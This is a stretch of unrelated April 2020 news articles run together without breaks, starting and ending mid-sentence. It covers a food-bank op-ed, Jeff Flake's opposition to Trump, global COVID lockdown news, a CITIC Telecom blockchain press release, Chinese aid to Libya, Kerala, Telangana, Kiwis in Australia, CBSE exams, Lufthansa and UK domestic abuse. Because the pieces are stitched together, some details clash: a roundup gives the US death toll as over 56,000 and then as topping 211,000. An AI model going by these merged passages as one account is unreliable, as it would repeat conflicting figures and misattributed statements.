gas for the car and utilities, there simply was not enough money for food. My son was a perfect little being who deserved the best of everything. I was ashamed I was not the breadwinner he deserved and worried constantly that our financial situation would lead him to believe he was somehow worth less than his peers. I could not hide the fact that I struggled to make ends meet, but I tried my best not to let him know we were actually poor. I made the trips to the food bank in secret before I picked him up from daycare. Afterwards, we would head to the grocery store where I would shop for the rest of what we needed to get by. It was a deliberate, time-consuming process. Other mothers made a list and breezed through the aisles. I did not have that luxury. I studied each shelf from top to bottom, looking for hidden sales and items that were marked down because they were close to the expiration date. I bought the least I could to tide us over until my next paycheque or food bank visit. A roll of toilet paper, a single apple, and a handful of carrots were often enough to see us through. My face would burn with shame as I placed our meagre provisions on the checkout counter. I felt like everyone in the world knew I was poor and worse, that they were judging me for it. I did not know then that millions of Americans experience hunger every day. In fact, in its most recent report published in 2018, the US Department of Agriculture (USDA) estimated that 11.8 percent of US households do not have enough food to eat. I had grown up comfortably middle class, oblivious to issues like food insecurity. None of us has that luxury now. The coronavirus crisis has revealed what everyone always knew but few people cared enough about to change. Wages have not been rising quickly enough to meet the cost of survival and about half of the country has been squeaking by from paycheque to paycheque, living in constant fear that if one unexpected thing happened they would end up homeless, hungry or both. What we did not expect is that it would happen to so many people at once. More than 22 million people in the US have filed for unemployment in the last month and countless others have tried unsuccessfully to apply for it due to crashing websites and overworked phone lines. For many of them, the help promised by the federal governments $2.2 trillion relief package will not be enough and it is already too late. It might be possible to put off paying your bills but you cannot put off feeding your family. The question is, what are we going to do about it? Food banks are wonderful, helpful organisations, but they are not the answer. According to Feeding America, a network of 200 food banks across the country, the food bank concept was developed by a retired businessman in the late 1960s in Phoenix, Arizona. He was just a guy trying to help his neighbours. Since then, food banks have become fixtures in every corner of the country. They are partially supported by the government, but for the most part, they are reflections of their community. Most of the labour comes from unpaid volunteers and they rely heavily on both cash and physical donations from local citizens. As food banks scramble to keep up with the changing logistics and increased demand associated with the coronavirus pandemic, it makes you wonder why our nation accepts a system in which food banks are necessary to begin with. Why are we placing the burden of figuring out how to feed millions of people during a pandemic in the hands of a few volunteers, many of whom will themselves soon be hurting as unemployment numbers continue to rise? This country has a way of treating poverty as a moral failing despite the fact that we all know that the system is rigged in favour of the people at the top. The wealthiest individuals pay less in taxes, less in interest, and never have to worry about where to find their next meal. We know it is unfair but we continue to accept it. Maybe that will change as more people migrate over to the other side of the poverty line. When hundreds of people are forced to wait in line for a box of food maybe it will finally become too hard to look away. Maybe we will recognise that poverty is a failure of the system, not a failure of the person. Maybe we will finally realise that we are all the same. Food banks were a lifesaver for me and my son but they will not be enough to save us if the people who need them outnumber the people who donate to them. The government will have to do more, and make it easier to receive help. Increased benefits and options like universal basic income would feed people without forcing them to wait in four-hour lines, even if the changes were only temporary. The government has been failing its citizens for too long by coasting on the backs of food banks and their hard-working volunteers. Americans will always step up to help each other where we can but the government needs to work at least as hard as the rest of us. The time to start is now. The US Constitution grants us the inalienable right to life, liberty and the pursuit of happiness but none of those things is possible if you cannot feed your family. It is time we recognise that access to food is just as much a right as lofty ideas and flowery sentences. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. Retired Republican Senator Jeff Flake of Arizona will not be voting for Donald Trump this November. No, he'll be voting for a Democrat for president for the first time in his life. "This wont be the first time Ive voted for a Democrat though not for president [before]. Last time I voted for a third-party candidate. ... But I will not vote for Donald Trump," Mr Flake said in an interview with The Washington Post. Mr Flake insisted that he is "not trying to burn the place down or anything else," but that he's trying to get back what he feels is the lost soul of the Republican party. The best thing for the future of the Republican party would be "a sound defeat" for Mr Trump in November, Mr Flake said. "No doubt. Long term for the Republican Party, you bet. And for conservatism as well." By the end of his first and only term as senator from 2013 to 2019, Mr Flake had the worst relationship with Mr Trump of any Senate Republican, as he openly and consistently denounced many of the president's controversial remarks and opposed a handful of his political and judicial appointments. The men's relationship was never strong. Mr Flake called on Mr Trump to withdraw from the 2016 presidential race after the emergence of the Access Hollywood tape where Mr Trump openly brags about sexually assaulting women. Mr Trump was so enraged with Mr Flake that his White House was recruiting GOP primary challengers against the senator in the summer of 2017. While many Republican senators who were critical of Mr Trump early in the 2016 campaign, such as South Carolina's Lindsey Graham, eventually fell in line with the president and have become some of his closest political allies, Mr Flake remained defiantly on the periphery. When he announced his retirement from the Senate in the fall of 2018 amid politically untenable approval ratings, he delivered a scathing speech against the state of politics in Washington that spared no one, not least of all his Republican colleagues nor Mr Trump. The GOP's aggressive public embrace of the president's hard-nosed political style isn't a Washington-only phenomenon, Mr Flake lamented in his interview with the Post. Trumpism has ensnared Mr Flake's home state politicians, too, including many people to whom the former senator has long personal and political ties. Arizona Republicans have been complicit in a "total capitulation of the party to Trumpism," Mr Flake vented in the Post interview. In February, more than 14,000 people flocked to the Veterans Memorial Coliseum in Phoenix for one of the president's notoriously lively and raucous campaign rallies. In years past, many Arizona lawmakers were reticent about appearing onstage with the Mr Trump. That's no longer the case. "The other night it was painful to watch the rally in Arizona: the president onstage with virtually all of my Republican colleagues from Arizona the governor on down, some of whom had been reluctant previously to be on a campaign stage with the president. But who have just completely and utterly thrown in," Mr Flake said. It is not all gloom and doom for his party, though, Mr Flake suggested. In private conversations, many Republicans acknowledge they've submitted to a "trade-off" in which they publicly tolerate Mr Trump's bombast and anti-institutionalism in exchange for his signature on conservative policies, his nomination of conservative judges and his enactment of tax and regulatory reform. That trade-off is not intended to last forever. Mr Flake expressed confidence that the GOP can veer back towards a vision that is more inclusive and not fuelled, in his own words, by "anger and resentment." "I dont know anyone who thinks that this is the future of the party. This is a demographic cul-de-sac were in, if nothing else. Anger and resentment only go so far; you have to have a governing philosophy. I dont know of any of my colleagues who really believe this is it." Rochester: Vice President Mike Pence chose not to wear a face mask on Tuesday during a tour of a world-renowned medical centre, in apparent violation of a policy requiring them. Vice President Mike Pence, centre, visits a patient who survived the coronavirus and was going to give blood during a tour of the Mayo Clinic in Rochester, Minnesota. Credit:AP Video feeds show that Pence did not wear a mask when he met with employees at the Mayo Clinic in Minnesota, even though everyone else in the room appeared to be wearing one. Pence met with a Mayo employee who had recovered from COVID-19 and is now donating plasma. Pence was also maskless when he visited a lab where Mayo conducts coronavirus tests. And Pence was the only participant not to wear a mask during a roundtable discussion on Mayo's coronavirus testing and research programs. France and Spain, two of the worst-hit countries in the coronavirus pandemic, were laying out separate roadmaps Tuesday for lifting their lockdowns, while signs emerged the virus has been all but vanquished in New Zealand and Australia. But on the other side of the globe, Brazil is emerging as a new hotspot for infections. And new doubts were raised over whether Japan would be able to host the already postponed Summer Olympics next year without the development of a vaccine. In Europe and elsewhere, the key question of when to reopen schools loomed as nations seek to ease lockdowns and restart their battered economies. Although the coronavirus seems to affect children far less seriously than adults, many officials, teachers and parents are concerned about the health risks that school openings pose. Some point to the difficulties of ensuring that children stick to social distancing and frequent hand washing, and teachers themselves fear risks to their own health. But many parents would struggle to return to work without schools being open, hampering efforts to restart the economy. In France, President Emmanuel Macron wants schools to start reopening May 11, but teachers, parents and even some mayors are raising alarms. The government says it will be up to parents to decide whether to send children back to class, with details expected to be released by the prime minister later Tuesday. Joel Wilmotte is among a growing number of French mayors refusing to re-open their schools, at least for now. I am not against the reopening of schools, he said in a video on the Facebook page of his northern town of Hautmont. But he listed seven reasons why he's not ready to do so. Among them: Teachers don't know how to make sure every child respects protective gestures and a poll suggests most French parents oppose school reopenings. Cleaning staff are afraid and under-equipped to do constant disinfections. So Wilmotte said he's keeping the six schools in his town closed until further notice. Greece, which so far has managed to keep its coronavirus death toll low, at 136 people, was also releasing more lockdown easing details Tuesday but the issue of schools remained tricky. Schools will be reopened gradually, with conditions and subject to constant review, said the Health Ministry's virus spokesman, infectious diseases specialist Sotiris Tsiodras. The team of experts he is on has not recommended a date. Scientists agree that children are less at risk from the virus and appear to transmit it less than adults, said Tsiodras, a father of seven. This is not an experiment where we want something bad to happen to our children. It is a scientific proposal. We propose, the state will decide. In the United States, which has the world's highest death toll at more than 56,000, President Donald Trump said states should seriously consider reopening their public schools before the end of the academic year, even though d ozens already have said it would be unsafe for students to return until the summer or fall. Some of you might start thinking about school openings, because a lot of people are wanting to have the school openings. It's not a big subject, young children have done very well in this disaster that we've all gone through, Trump said. Trump also admitted the number of virus deaths could reach 70,000 in the U.S., after citing 60,000 several times this month. The number of confirmed infections in the U.S. has risen to nearly 1 million and the confirmed death topped 211,000, according to a tally by Johns Hopkins University. The true toll of the pandemic is likely much higher because of limited testing, mild cases that are missed, flaws in counting the dead and governments that may be trying to conceal the extent of their outbreaks. Italy, Spain, France and Britain accounted for more than 21,000 virus-related deaths each. In Brazil, President Jair Bolsonaro has insisted that COVID-19 is just a little flu and there is no need for the type of restrictions that have slowed the infection's spread in Europe and the U.S. but upended their economies. Brazil, Latin America's most populous country with 211 million people, has reported 4,600 deaths and 67,000 confirmed infections. But the true numbers are believed to be vastly higher given the lack of testing and the many people who haven't sought hospital care. Medical officials in Rio de Janeiro and at least four other major cities have warned that their hospital systems are on the verge of collapse or are too overwhelmed to take any more patients. There are also signs that a growing number of Brazilian victims are dying at home. We have all the conditions here for the pandemic to become much more serious, said Paulo Brando, a virologist at the University of Sao Paulo. Bolsonaro has said Brazilians need to resume their lives to prevent an economic meltdown but most state governors have adopted restrictions to keep people home and slow the spread of the virus. New Zealand reported just three new infections Tuesday. Prime Minister Jacinda Ardern said people had done an incredible job of breaking the chain of transmission but cautioned they needed to remain vigilant. There may still be some smoldering ashes out there, and they have the potential to become a wildfire again, if we give them the chance, she said, quoting a microbiologist. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) HONG KONG, Apr 28, 2020 - (ACN Newswire) - Blockchain began in 2009. Most people have heard of Bitcoin. Blockchain is actually the key underlying technology of Bitcoin. It is a way to have "blocks" of encrypted data "chained" to each other in a robust way to ensure the data cannot be altered, once its transaction has been recorded. It uses sophisticated mathematics to achieve this. In addition to a robust data storage mechanism, distributed ownership is the other powerful benefit of Blockchain technology. Nobody can monopolize the Blockchain, and all participants play a role in ownership and authentication of transactions. All records are traceable yet irrevocable. This creates trust among parties, very quickly and efficiently, and is crucial for a scalable, robust economy.Blockchain under the Pandemic SituationDaniel Kwong, Chief Information and Innovation Officer at CITIC Telecom CPC said, "As for real world usage today, I think the best example is with the current pandemic situation. In general, COVID-19 has been a tremendous driver for accelerating the digital transformation of organizations, away from physical workflows toward virtual presences, virtual interactions. We are seeing massive increases in use of our virtual applications, such as for video conferencing, remote access, virtual desktops, data warehousing. Our customers have already been using these remote and virtual applications, but now we are seeing a major surge."China, for example, launched twenty Blockchain projects to cope with COVID-19, including for infection tracing, medical materials tracking, donation tracking, and insurance claims. Blockchain enabled all these to be rapidly implemented, within days."Shandong University was able to deliver a rapid rollout of a pandemic data collection and monitoring system, in just two days," said Kwong. This was a system for the real-time online collection of the health status, hometown information of students and faculty members. It is used for monitoring the outbreak status in the university. Access levels to the data depended on varying levels of authority to ensure data integrity.Kwong added, "Compared to a traditional database system, the Blockchain approach makes the data and transactional record very robust against tampering. Once a student or faculty submits the health information, it cannot be tampered with. This is crucial for management during health crisis."Additionally, China launched a nationwide health tracking system for some 1.4 billion people! This system provides a color-coded health status, similar as traffic lights signal, for the whole population, with different colors indicating the health status of individuals on their smartphones. If this was to be implemented with a traditional database system, not only would it take a much longer time to develop, it will also require huge processing power for a centralized database. Plus, it would be challenging to scale and ensure security and data integrity. It might need weeks or months to be completed. But with Blockchain, China did it in just a few days!Blockchain offers Tremendous BenefitsAside from rapid deployment, Blockchain offers four key benefits to supply chains: Extremely high transparency, security, efficiency, and trust. Many people think of a Blockchain as a database but it's more of a ledger. The data is enclosed in the ledger but the secure ledger is the crucial new technology.Besides supply chain, medical and insurance claims are also benefitting from Blockchain. "Insurance processes often involve a lot of documentation from multiple parties, and with medical insurance it even involves doctors and hospitals. Blockchain not only accelerates the whole transaction process, from insurance purchase to claims, but also removes face-to-face contacts, and physical paperwork. This eliminates a lot of infection risk. It also makes transactions traceable and authenticated. The whole process is much faster, more efficient, safer, and robust, even conducted from just a mobile phone," Kwong explained.In addition to the COVID-19 use-cases, Blockchain applications have also been rolling out in various industries. For example, in retail, Blockchains are helping with customer loyalty programs.Other Uses CasesMost airline loyalty programs have a single data source, with numerous members and transactions. This loyalty program involves multiple airlines, and the customers of those airlines, all with different promotions and policies. So it's a very complicated program with many stakeholders and transactions. Blockchain brings incredible efficiency and security to such a system, solving many problems and simplifying the whole workflow, in addition to providing very strong security against hackers and transaction fraud.Kwong added, "Interestingly, traditional unused loyalty credits are recorded on the issuing platform's balance sheet as a financial liability and deferred revenue. But under the Blockchain mechanism, they are not recorded, and are considered shared liability across multiple parties. So there are business advantages other than technological aspects."In recent years, Blockchain technology has undergone a lot of standardization, and now there are ready-to-use APIs and programming libraries, modules, and even applications, that can be quickly purposed for specific business needs. "So I would say it's easier than ever to implement Blockchain applications," said Kwong.Enterprises generally can build their operations on Blockchain over existing systems such as ERP, CRM, e-commerce, customer service, technical support, finance, office applications, leave applications, payroll. All these can be built upon a General Purpose Blockchain API platform, using the same generic libraries to start quickly keeping track of data transactions.Key Things to Consider when Implementing BlockchainWhile a company is considering implementing Blockchain technology, the first thing to consider will be, who is going to do the design and implementation? "Traditionally, you would find a system integrator to do this. Or you might develop it in-house. But do your existing staff, or your chosen system integrator, have the necessary skills?" Kwong questioned."You also need to consider what additional value your new Blockchain application can create. We already talked about a better balance sheet regarding loyalty programs, and visibility into Accounts Receivables. But do you have existing policies, or stakeholders, that are restricting the possibilities of your new Blockchain system? Perhaps those policies are obsolete, designed for less secure, slower, inefficient systems?"Privacy is another thing to consider, especially when data cannot be altered or deleted. Companies should make sure they have the right procedures to ensure data put into the Blockchain system is what they want."You also need to think about the infrastructure to support the new Blockchain application," Kwong emphasized. "The system will be distributed across many nodes, so you must be mindful of network latency. Also consider network stability and security, system and data loading capacity, and especially technical loopholes when programming Smart Contracts. Additionally, decide how you will monitor the ongoing process and make fixes or improvements over the coming weeks, months, years. Do you have the right technical skills to do so, and how will you get feedback and consensus among distributed stakeholders?"How CITIC Telecom CPC helps with Blockchain DeploymentCITIC Telecom CPC has been supporting its customers' Blockchain deployments with its flagship portfolio of cloud computing, enterprise networking, security and data warehousing solutions. "Our SmartCLOUD computing platform obviously can run Blockchain and Smart Contracts processes, and our other solutions help ensure high performance and reliability. In fact, our TrustCSI managed security service helps protect Blockchain applications. Don't forget, access to the Blockchain must be secure. While the Blockchain itself is tamper-proof, anyone with access can add unauthorized data to the Blockchain, which is irrevocable. That can be a nuisance, or a major privacy and confidentiality problem. We have sophisticated security mechanisms to help prevent that," Kwong said.The future of Blockchain is clear. There is a lot of activity going on to standardize Blockchain in the legal and regulatory fields. Eventually Blockchain will become a very widely used ICT foundation for many areas of society.About CITIC Telecom CPCWe are CITIC Telecom International CPC Limited ("CITIC Telecom CPC"), a wholly owned subsidiary of CITIC Telecom International Holdings Limited (SEHK: 1883), serving multinational enterprises the world over by addressing their specific ICT requirements with highly scalable tailored solutions built upon our flagship technology suites, comprising TrueCONNECT private network solutions, TrustCSI information security solutions, DataHOUSE cloud data center solutions, and SmartCLOUD cloud computing solutions.As a leading Global Local ICT Solutions Partner with worldwide footprint across East to West and native presence, we truly live our motto, "Innovation Never Stops." Being a preferred Digital Society Enabler, we lead our key markets at the forefront of pioneering ICT development, embracing AI, AR, Big Data, IoT, and other cutting-edge emerging technologies to transform technical potential into real-world value for our customers, helping them achieve higher productivity, agility, cost-efficiency, and ultimately, Digital Globalization.As one of the first managed service providers in Hong Kong to achieve ISO 9001, 14001, 20000, 27001, and 27017 ICT-related certifications, CITIC Telecom CPC delivers on our superior quality commitment through a broad global self-managed infrastructure encompassing some of the highest growth markets in Asia, Europe and America, with over 140 points of presence, 18 Cloud service centers, 30+ data centers, and two dedicated 24x7 Security Operations Centers.For more information please visit www.citictel-cpc.comMedia Contact:Rowena LeungCITIC Telecom International CPC Limited(852) 2170 7536Email: rowena.leung@citictel-cpc.comSource: CITIC Telecom International CPC LimitedCopyright 2020 ACN Newswire . All rights reserved. Source: Xinhua| 2020-04-28 15:41:46|Editor: huaxia Video Player Close TRIPOLI, April 28 (Xinhua) -- A senior official of the Libyan Higher Council of State has praised China's assistance to the African continent in its combat against the COVID-19 pandemic, saying it is a "demonstration of global solidarity." "China is once again demonstrating solidarity with the world in difficult times, especially the continent of Africa, with which it has a close relationship," Mohammed Sammoud, chairman of the council's Anti-COVID-19 Action Committee, told Xinhua on Monday, describing China as an "old and trusted friend." "China has supported and stood together with the Libyan people and expressed the willingness to provide all its experience in fighting this crisis. This is the evidence of the deep traditional relationship between the two countries," Sammoud said. "We thank the Chinese leadership and people for standing with Libya in such difficult circumstances, as the world is waging a fierce war against the novel coronavirus," he added. Noting that the recent aid China has offered Libya is a "true expression of its sense of others and an important message for the sense of humanity," the Libyan official said that he expects China to continue its support for the Libyans by providing necessary medical support and experience in fighting COVID-19. According to the Libyan Foreign Ministry, the North African country earlier in April received a shipment of anti-coronavirus medical aid from China's Jack Ma Foundation. In March, the Jack Ma Foundation and Alibaba Foundation announced their commitment to donating 100,000 medical masks, 20,000 test kits and 1,000 protective suits and face shields to each of the 54 nations on the African continent. Apart from medical supplies, the two foundations are connecting African medical professionals with doctors from China and around the world to collaborate online and exchange hard-earned experience in the treatment and prevention of COVID-19. "Libya believes that the world has no choice but to share solidarity, information, efforts and scientific research, and not treason, skepticism and accusations without evidence," Sammoud said. "China has shown, through great and transparent work, that there is a great opportunity to eliminate COVID-19 by reforming the health system, taking strict measures, and sacrificing without hesitation, in order to help combat the disease," Sammoud added, He said that Libya and the World Health Organization (WHO) are working well together, calling for "focusing on methods to control the pandemic and support research." The total number of confirmed COVID-19 cases in Libya so far is 61, including 18 recoveries and two deaths, according to the National Center for Disease Control. The country reported its first COVID-19 case on March 24. Libyan authorities have taken a series of measures against COVID-19, including imposing curfew, closing airports, border crossings, mosques and educational institutions, and banning mass gatherings and movements among cities. Enditem Kerala Chief Minister Pinarayi Vijayan on Tuesday said the state was ready to receive the non-resident Indians as and when the Central government allows operation of aircraft to bringthem back. He also informed that till now, 2.76 lakh non-resident Keralites from over 150 countries have registered on the Norka website indicating their desire to come back to Kerala. "As per the initial numbers, Malappuram, Kozhikode, Kannur and Thrissur districts have the maximum number of returnees. A committee under the District Collector with representatives from Airports Authority of India, Kerala Police and Health Department would oversee the elaborate arrangements at airports to receive the NRKs," Vijayan told mediapersons after the daily evaluation meeton COVID-19. He said there will be doctors and paramedical staff at the airport for detailed checking of the arriving passengers and a rooster of the passengers would be obtained from the Civil Aviation Ministry and the Ministry of External Affairs well in advance. The Chief Minister also said that after the initial screening, those without symptoms would be sent to their homes for quarantine and there would be regular monitoring by the police and healthcare workers to ensure that they follow the quarantine rules. "Telemedicine facilities and mobile medical units would be set up under panchayats to ensure proper medical care for those under isolation. Those who cannot undergo quarantine at home can opt for the government quarantine centres," Vijayan said. He also said that those with symptoms would be moved straight to the quarantine centres and their luggage would be sent home. He said adequate quarantine and medical facilities near airports have been identified and made ready. "If the Centre decides to bring the expats by ships, we will make similar arrangements at the ports also. There is no shortage of Viral Transport Medium and we have enough stock of PCR and RNA extraction kits. The Kerala Medical Services Corporation has been directed to procure more kits," Vijayan said. The chief minister also informed that the registration for Keralites in other states on the Norka website would begin on April 29. "People from Kerala who are currently stuck or stranded in different parts of the country because of the lockdown and desire to come back to Kerala can register their details on the Norka website," he said. The registration will begin on April 29 evening and priority would be given to those who have gone for medical treatment in other states and residents of other states who have registered for specialist treatment in Kerala. Students, those who have lost jobs, those who went for exams or interviews can also register. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Express News Service HYDERABAD: TPCC president and Nalgonda MP N Uttam Kumar Reddy on Monday alleged that there were several doubts about the Telangana government releasing accurate figures of Covid cases. Speaking at the CLP meeting led by CLP leader Bhatti Vikramarka over video conference, Uttam questioned the government for not allowing private labs to conduct tests and alleged that Chief Minister K Chandrasekhar Rao had no answer to this. He said the government was lagging in Covid-19 testing and that only 37 people were tested out of a lakh. He asked it to consider South Korea as a role model with regard to testing people. On the other hand, Bhatti Vikramarka demanded KCR to convene an all-party meeting, and one with intellectuals separately, as soon as possible to overcome the pandemic and streamline the financial crisis. He alleged that both the Centre and State governments failed to tackle the situation. He condemned the police for booking Bhadrachalam MLA Podem Veeraiah, who was distributing groceries to tribals in Bhadrachalam, and demanded that the case be withdrawn. He announced that the CLP would visit Bhadrachalam on May 2 to see how the tribals were coping with the lockdown. Revanth writes to CM on farmers woes TPCC working president and Malkajgiri MP A Revanth Reddy on Monday wrote an open letter to KCR demanding that he resolve farmers issues. He said farmers were facing problems at procurement centres due to irregularities by traders in the name of erosion and moisture. Revanth wanted such traders to be booked. New Zealanders living in Australia are furious they haven't been offered financial support amid the coronavirus crisis and were instead told to go home. Kiwis who hold permanent visas or have a job in Australia are eligible to receive $1500-a-fortnight under the Federal Government's JobKeeper wage subsidy scheme. But thousands of New Zealanders who are unemployed have been left to fend for themselves and are now struggling to stay afloat. Earlier this month acting Immigration Minister Alan Tudge suggested tourists including 672,000 New Zealanders should go home. 'Temporary visa holders who are unable to support themselves under these arrangements over the next six months are strongly encouraged to return home,' he said. 'For these individuals, it's time to go home, and they should make arrangements as quickly as possible.' Thousands of New Zealanders living in Australia are unable to access unemployment benefits amid coronavirus (pictured: queue outside Centrelink in Melbourne) Gold Coast sisters, Marama, Awhi and Piri Gray, set up a Facebook group and GoFundMe page to provide food boxes for Kiwis facing financial hardship in Australia. 'After many losing jobs, unsure of how to provide food for their families or keep a roof over their heads, a few of us Kiwi's here on the Gold Coast have started to unite and gather to be a voice for those who don't have one,' the sisters wrote. 'Ultimately we seek equality for all, compassion and kindness amongst us as we are all in this together.' The boxes include items like canned foods, chips, LCMs, biscuits and peanut butter and are offered to anybody facing financial troubles. A petition has also been started pleading with the Australian government to give full Centrelink support for Kiwis living in the country. One, Alax Robinson, recently lost his job and says he is unable to return home. 'We all contribute to the Australian economy and social fabric. Many of us will be okay for a while, but some of us need help right away,' he wrote on a Change.org Petition. Marama Gray along with her sisters have created food boxes to send to struggling New Zealanders amid coronavirus The boxes will go towards people left with no income and include biscuits and canned goods 'Our home is here, our families are here, and we want to stay here. Many of us cannot simply uproot our lives here and head back to NZ. We have families, we are part of our communities. 'Many of us choose Australia as our home and have worked here for years paying full tax and making contributions for this safety net despite not being allowed to have any or only limited access to it. 'This outbreak has turned the world upside down and it's simply not practical for many of us to simply pack up and go back to New Zealand because our homes and families are now here in Australia.' The petition has gathered more than 271,000 signatures and was flooded with responses from New Zealanders in the same boat. 'We have been productive contributors for the economy for years and now we are being left out as if Kiwi workers don't matter. Feeling like a second-class citizen here,' one person said on the petition. 'New Zealanders are part of the Anzac community that went to war to give a future for generations to come. Currently being treated like second class citizens has clearly meant this mateship has been lost. Treat New Zealanders living in Australia with respect!' said another. 'I'm signing because I'm one-year short of the 10 years living in Australia required to claim the emergency six months of Centrelink which is all Kiwis in Australia are eligible for. Nine years of working, paying tax, putting my wages back into the economy means nothing if I lose my job now,' a third said. New Zealand Prime Minister Jacinda Ardern said the suggestion for Kiwis that were stood down amid the virus to return to NZ would impact the Australian workforce New Zealand Prime Minister Jacinda Ardern said the Australian workforce would suffer after Mr Tudge suggested Kiwis should return home. 'What (Mr Tudge would) do well to remember is that if they wish for Australia to be in a position to gear up in the aftermath of the outbreak, they now need a workforce to do that,' she said earlier this month. 'New Zealanders make up that workforce. 'They, on average, earn more and pay more taxes than others. They are a key part of the Australian economy and I would have thought they wouldn't want to be so quick to lose them.' Ms Ardern pointed out many were employed in the health care system. 'New Zealanders make up (a portion of Australia's) health workforce and that there are some, for instance, who won't be being kept on (by employers) because they may have been involved in contractual arrangement and the health workforce and in elective services,' she said. 'That, I would have thought again, would be a workforce that they would wish to keep.' Kiwis who have a Special Category Visa and arrived in Australia prior to 2001 are eligible for all Centrelink payments. The Union human resource development (HRD) ministry has decided to push to begin the process of evaluation of Class 10 and 12 answer sheets of millions of students who appeared in the Central Board of Secondary Education (CBSE) examinations this year, a senior official said after a key meeting of the ministry on Tuesday. In his meeting with state education ministers on Tuesday, HRD minister Ramesh Pokhriyal Nishank told the states to facilitate the CBSE in evaluating answer sheets, the official quoted above added. The evaluation process is in limbo because of the ongoing national lockdown to stop the spread of Covid-19, but the fate of roughly 30 lakh students depend on it. The matter has been discussed in meetings between HRD and CBSE officials and the attempt is to begin the process of evaluation of answer sheets at the earliest. In the evaluation process, different examiners often get together in one building where answersheets are evaluated. A protocol of social distancing in this regard can be prepared, the official said on condition of anonymity. Class 10 exams are largely over, barring some areas in north-east Delhi hit by communal violence in March, and all that needs to be done is evaluation. A majority of Class 12 exams are also over and if evaluation begins, the results can be declared in June itself, the official added. But no final decision has been taken about the remaining Class 12 examinations around 12 main subjects the official said. The CBSE will have to wait till the required permissions are granted, the official added. A separate meeting of the University Grants Commission on Tuesday took up the recommendations of a high-level committee appointed to draft an academic calendar for the Covid-19 hit 2020-21 academic session. A second senior official said the committees recommended that universities follow a six-day weekly pattern instead of a five-day week and consider the lockdown period as deemed attendance by students so that nobody is disqualified because of attendance shortage. The panel also recommended the month of June as summer vacation period and suggested declaration of result by mid-August so that the session could commence. However, this will would upon the circumstances of the universities, the second official added. The committee, chaired by professor RC Kuhad, former member of the UGC and vice-chancellor, Central University of Haryana, also gave universities the option of open-book assessment or objective-type-question based test to conduct the final exams of the present session. They can shorten the exam duration from three to two hours based on the need, the second official said. The panel also suggested that students be allowed to reappear in exams if they want to improve their grades. Universities have been asked to follow social distancing norms and a common admission test for undergraduate and postgraduate courses. Significantly, the panel felt that many varsities did not have adequate resources to impart e-learning. At the UGC meeting on Tuesday, officials felt more suggestion needed to be incorporated and the report may be made public after more deliberation. However, the second official said that the commission decided not make the suggestions binding in nature. In the HRD ministry meeting, Nishank said a decision had been taken to provide mid-day meal during summer holidays of schools, on which an additional expenditure of about Rs 1600 crores will be made. In addition, under the mid-day meal Scheme, an ad-hoc grant of Rs 2,500 crore was being issued for the first quarter. To augment the mid-day meal programme, the minister announced that in wake of Covid-19, the annual central allocation of cooking cost (for procurement of pulses, vegetable, oil, spices and fuel) will be enhanced to Rs. 8,100 crore from Rs 7,300 crore. Officials said another meeting could be held with states on issues related to higher education Like most global airlines, Lufthanser grounded the majority of its fleet in mid-March, after the coronavirus pandemic caused air travel to collapse. (Boris Roessler/picture alliance via Getty Images) The German government is this week debating the terms of a potential rescue package for its flag-carrier airline Lufthansa (LHA.DE). According to Reuters, the airline is in the process of finalising a rescue package of up to 10bn (8.7bn, $10.8bn). One of the topics under discussion is whether the state should have a say in how the company is run under the terms of the financial aid. If companies such as Lufthansa receive billions of euros in state aid from taxpayers' money, the federal government must also be guaranteed a say in the matter, Rolf Mutzenich, parliamentary party leader of the Social Democrats (SPD) told the Bild newspaper. The SPD are the junior partners of Angela Merkels Christian Democrats (CDU) in the federal government in Berlin. However, CDU politician Joachim Pfeiffer, said Lufthansa must have the freedom to make structural adjustments to stay globally competitive. Like most global airlines, the German flag-carrier grounded the majority of its fleet in mid-March, after the coronavirus pandemic caused air travel to collapse. READ MORE: European stocks rise as countries discuss easing lockdowns Lufthansa chief executive Carstan Spohr said on 19 March said that the pandemic had placed the entire global economy in an unprecedented state of emergency. The longer this crisis lasts, the more likely it is that the future of aviation cannot be guaranteed without state aid, Spohr added. Spohr said that the company would seek state aid in Germany, Austria, Belgium, and Switzerland the Lufthansa Group includes Swiss, Brussels, and Austrian Airlines. It has suspended its dividend payment for 2019. Germanys economy minister Peter Altmaier announced today that the federal government and the state of Hesse would extend aid worth 550m to holiday airline Condor. The company was operationally healthy and profitable in normal times and has good prospects, Altmaier said in a statement. The International Air Transport Association (IATA) said on 14 April that estimated global airline losses from the impact of COVID-19 have risen to $314bn so far this year, which is 25% more than it had previously forecasted. READ MORE: Coronavirus: Airbus CEO warns cost cuts needed as it's 'bleeding cash' Airbus CEO Guillaume Faury told staff in a memo on 24 April that the European airplane manufacturer is bleeding cash and must rapidly cut costs as its survival is at stake. Children are attacking their parents during the UK coronavirus lockdown amid rising tensions inside homes, an official has warned. The victims commissioner for England and Wales, Dame Vera Baird, said reports of the newer kind of domestic abuse were rising amid a spike in cases. Theres some suggestion of abuse by older children on parents which is probably suggestive of kids wanting to go out and not being allowed to, she told MPs on Tuesday. Were talking teenagers, and that is a worry. Speaking to parliaments Justice Committee, she said that calls to helplines and victims services had risen much faster than complaints to police, adding: No one doubts that domestic abuse has increased exponentially and it is very much harder to escape when you are compelled to be in lockdown with your perpetrator. Dame Vera accused the government of being too slow to act against rising domestic abuse during the coronavirus lockdown, when every other crisis there has been a similar development. It was obvious that there was going to be this epidemic within the pandemic its poor leadership, she added. It should have been flagged a lot earlier, with a good input of cash to support the services that are struggling with increased demand. Funding promised for helplines by the home secretary over Easter has not yet been received, MPs were told. The worry is that it will get worse and worse and domestic violence does tend to escalate when its not stopped, Dame Vera added. Sexual violence is also extremely worrying two-thirds of sexual abuse happens inside the home. Theresa May urges government to consider impact of lockdown on domestic abuse victims new She predicted a tsunami of complaints as soon as the lockdown is lifted and called for the government to plan for the increase in people seeking help. Dame Vera said domestic violence refuges were currently full but offers of emergency accommodation by hotel groups and universities had not yet been taken up. Amid concerns over the impact of rising unemployment and a global recession, she said victims services were receiving calls from people who did not have enough food or money, could not access benefits and had lost their jobs. Dame Vera spoke after a senior police officer told The Independent that the government must prepare for a more volatile and agitated society after lockdown. Chief Superintendent Paul Griffiths, president of the Police Superintendents Association, predicted that unemployment, changes to drug markets and domestic abuse would cause a whole load of societal impacts. There are going to be people who are out of work, businesses that have not been able to sustain themselves, and the impact on society will start to come through, he added. If there are challenges economically, there is sometimes a rise in crime and disorder. While overall crime has fallen by at least 28 per cent during the lockdown, Dame Vera said that a spike in reports of 